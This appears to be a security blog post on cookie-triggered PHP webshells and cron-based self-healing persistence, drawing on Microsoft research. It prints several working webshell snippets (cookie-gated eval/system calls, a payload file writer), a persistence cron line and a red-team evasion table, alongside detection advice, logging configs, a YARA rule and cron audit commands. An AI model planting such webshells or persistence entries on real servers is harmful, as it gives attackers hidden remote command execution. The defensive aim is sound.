Your web server looks clean. No alerts, no anomalies in the access logs, nothing suspicious in your file system scan. But an attacker is sitting quietly inside it, waiting. All they need to send is the right HTTP cookie.
TL;DR
- Attackers are deploying PHP webshells that are completely dormant without a specific secret cookie value
- This bypasses many WAFs, log reviews, and static file scanners that don’t inspect cookie content
- Microsoft identified three distinct variants — from simple cookie triggers to multi-layer obfuscation loaders
- Persistence is maintained through cron-based self-healing: if the webshell is deleted, it recreates itself
- Detection requires behavioral monitoring, not just static analysis
Why This Matters
Traditional webshells are relatively easy to spot. They execute commands, generate suspicious process trees, and leave traces in HTTP logs where URL parameters like ?cmd=whoami stand out immediately.
Cookie-controlled webshells flip this model. The malicious file sits idle on the server — looking like any other PHP script — until the attacker makes a carefully crafted HTTP request with a secret value hidden in a cookie. Without that cookie, the webshell does nothing. Logs look normal. File scanners find nothing.
This is exactly the kind of technique that burns incident responders and gives attackers long-term persistence in compromised hosting environments. In April 2026, Microsoft’s Defender Security Research Team published detailed findings on this tradecraft after observing it in real Linux hosting environment incidents.
How a Cookie-Controlled Webshell Works
The Basics: Why Cookies?
A standard PHP webshell might look like this:
<?php// Classic, easily detected webshellif (isset($_GET['cmd'])) { system($_GET['cmd']);}?>This is trivially detected — WAFs flag ?cmd=, access logs show the parameter, and any competent scanner catches it.
Cookie-controlled webshells move the trigger to the $_COOKIE superglobal instead:
<?php// Cookie-gated webshell — dormant without the right cookieif (isset($_COOKIE['session_token']) && md5($_COOKIE['session_token']) === '5f4dcc3b5aa765d61d8327deb882cf99') { // Only executes when the attacker sends Cookie: session_token=password eval(base64_decode($_COOKIE['payload']));}?>Why is this stealthier?
- Cookie names look legitimate —
session_token,auth,_uidblend in with real application cookies - WAFs historically focus on query strings and POST bodies, not cookie values
- Access logs typically don’t record cookie contents — only the URL and status code
- The file is inert during automated scans — it doesn’t execute dangerous functions unless triggered
Three Variants Microsoft Found in the Wild
Microsoft’s research documented three distinct implementation styles, each progressively more sophisticated.
Variant 1: Cookie Marker Trigger
The simplest form. A single cookie value acts as a boolean gate — if the cookie matches, the webshell executes attacker-controlled input or uploads files.
<?php// Simplified version of the marker-trigger pattern$key = 'x-custom-header'; // cookie name chosen to blend inif (isset($_COOKIE[$key]) && $_COOKIE[$key] === 'ACTIVATE') { $cmd = $_COOKIE['data'] ?? ''; if ($cmd) system(base64_decode($cmd));}?>This is the lowest-sophistication variant but still bypasses most log-based detection.
Variant 2: Segmented Payload Reconstruction
More advanced. The attacker splits the actual payload across multiple cookies. The webshell reconstructs the payload from cookie fragments and writes a secondary PHP file to disk, then executes it.
<?php// Illustrative — reconstructs payload from segmented cookies$parts = [$_COOKIE['p1'] ?? '', $_COOKIE['p2'] ?? '', $_COOKIE['p3'] ?? ''];$payload = implode('', $parts);
if (strlen($payload) > 64 && ctype_alnum(str_replace(['+','/','-','_','='], '', $payload))) { // Writes decoded payload as a new PHP file file_put_contents('/var/www/html/uploads/.cache.php', base64_decode($payload)); include '/var/www/html/uploads/.cache.php';}?>This technique means the webshell itself contains no dangerous code — it’s just a file writer. The actual malicious payload only exists briefly in memory before execution.
Variant 3: Multi-Layer Obfuscation Loader
The most complex variant. Multiple layers of obfuscation, runtime checks (IP whitelisting, timestamp validation), and structured cookie parsing before anything executes. The webshell validates the attacker’s identity before granting access — preventing anyone who finds the cookie name from hijacking the shell.
This variant is designed to survive both automated detection and manual review by an analyst who opens the file.
Cron-Based Self-Healing Persistence
Finding and deleting the webshell isn’t enough to remediate the compromise. Microsoft’s research found attackers using cron-based self-healing: a scheduled task that periodically checks whether the webshell exists, and recreates it if it’s been removed.
The attack chain typically looks like this:
- Initial access: Valid credentials (stolen or brute-forced) or exploitation of a CMS vulnerability (WordPress plugin, outdated cPanel)
- Webshell deployment: Dropped via php-fpm, cPanel jailshell, or a file upload vulnerability
- Cron registration: A cronjob is added via the hosting control panel, running a shell routine that recreates the PHP loader
- Stealth maintenance: The webshell stays dormant; cron silently ensures it’s always there
# Example of a self-healing cron pattern observed in incidents# Runs every 5 minutes, recreates loader if missing*/5 * * * * php -r "if(!file_exists('/var/www/html/inc/.loader.php')){file_put_contents('/var/www/html/inc/.loader.php', base64_decode('BASE64_OF_WEBSHELL'));}"The cron entry uses base64 encoding to avoid detection in crontab -l output, and the filename (.loader.php) uses a leading dot to avoid directory listings.
The result: even after incident responders delete the webshell, it’s back within minutes.
Red Team Perspective: Why This Tradecraft Works
From an offensive standpoint, cookie-controlled webshells solve several practical problems:
| Problem | Solution |
|---|---|
| WAF inspects POST body | Move payload to Cookie header |
| Access logs capture URL params | Cookies rarely logged by default |
Static scanners flag system() calls | Gate execution behind a cookie check |
| Defender deletes the file | Cron recreates it |
| Other attackers can hijack your shell | Hash/HMAC validation on cookie value |
The cookie-gated approach also enables plausible deniability in the file itself — a PHP file that only reads a cookie and conditionally includes another file doesn’t look malicious to most reviewers.
Blue Team Perspective: Detection
1. Web Application Firewall — Inspect Cookies
Most WAF rules focus on query strings and POST bodies. Update your WAF configuration to inspect cookie values for:
- Base64 patterns of unusual length
- Common execution keywords (
eval,system,passthru,exec) - Hash-length strings that could be authentication tokens for a shell
- Segmented payloads across multiple cookies (unusually high cookie count per request)
2. Access Log Enhancement
By default, most web servers don’t log cookie contents. Add cookie logging to catch this blind spot:
# nginx — add $http_cookie to access log formatlog_format detailed '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent" ' 'cookie="$http_cookie"';# Apache — log specific cookies with CustomLogLogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{Cookie}i\"" combined_with_cookiesCaution: cookie logging may capture session tokens — handle log files with appropriate access controls.
3. YARA Rule for Cookie-Gated Webshells
rule Cookie_Gated_PHP_Webshell { meta: description = "Detects PHP webshells that gate execution via $_COOKIE" author = "Hive Security" date = "2026-04-04" severity = "high"
strings: $cookie = "$_COOKIE" ascii $eval = "eval(" ascii $b64d = "base64_decode(" ascii $exec1 = "system(" ascii $exec2 = "shell_exec(" ascii $exec3 = "passthru(" ascii $exec4 = "proc_open(" ascii $hash1 = "md5(" ascii $hash2 = "sha1(" ascii
condition: filesize < 100KB and $cookie and ($eval or $b64d) and (1 of ($exec*)) and (1 of ($hash*))}4. Process Tree Monitoring
Cookie-controlled webshells, when triggered, still spawn child processes. Monitor for:
php-fpmorapache2spawningsh,bash,python, orcurl- Unusual
echo | base64 -d > file.phppatterns in web server process context crontabmodifications by the web server user (www-data, apache)- File creation events in web directories from non-deployment processes
Tools like Wazuh, Falco, or Microsoft Defender for Endpoint can alert on these behavioral patterns even when the webshell itself looks clean.
5. Cron Job Auditing
Check for suspicious cron entries across all users, especially the web server user:
# Audit all user crontabsfor user in $(cut -f1 -d: /etc/passwd); do echo "--- $user ---" crontab -u "$user" -l 2>/dev/nulldone
# Check system-wide cron directoriesls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/
# Look for base64 in cron entriesgrep -r "base64" /var/spool/cron/ /etc/cron.d/ 2>/dev/nullWhat You Can Do Today
For hosting providers and sysadmins:
- Enable MFA on all hosting control panels (cPanel, Plesk, DirectAdmin) and SSH
- Configure web server logging to capture cookie headers (with access controls on log files)
- Deploy file integrity monitoring (FIM) on web directories — alert on new
.phpfile creation - Schedule weekly cron audits for all system and hosting users
- Restrict
shell_exec,system,passthruviaphp.inidisable_functionswhere possible
For security teams:
- Update WAF rules to inspect cookie content for known webshell patterns
- Add the YARA rule above to your scanner pipeline
- Hunt for
$_COOKIEcombined witheval/base64_decodein existing web file scans - Review process tree alerts for web server processes spawning shells
For incident responders:
- Finding and deleting the webshell is not enough — always audit cron jobs as part of remediation
- Look for the initial access vector: compromised credentials, vulnerable plugins, or unpatched CMS
Related Posts
- Linux Default Attack Surface: What Attackers See First — Understanding which services attackers target on a freshly exposed Linux system
- C2 Without Owning a C2 — How attackers abuse legitimate infrastructure for command-and-control, similar to how cookies are abused here
- Digital Parasite: How Attackers Think About Persistence — Broader look at persistence tradecraft including self-healing mechanisms
- Threat Hunting with Wazuh — Practical guide to behavioral detection that can catch webshell activity
Sources
- Microsoft Security Blog — Cookie-controlled PHP webshells: A stealthy tradecraft in Linux hosting environments
- The Hacker News — Microsoft Details Cookie-Controlled PHP Web Shells Persisting via Cron on Linux Servers
- NSA Cybersecurity — Mitigating Web Shells (YARA rules)
- InfoSec Today — Microsoft Details Cookie-Controlled PHP Web Shells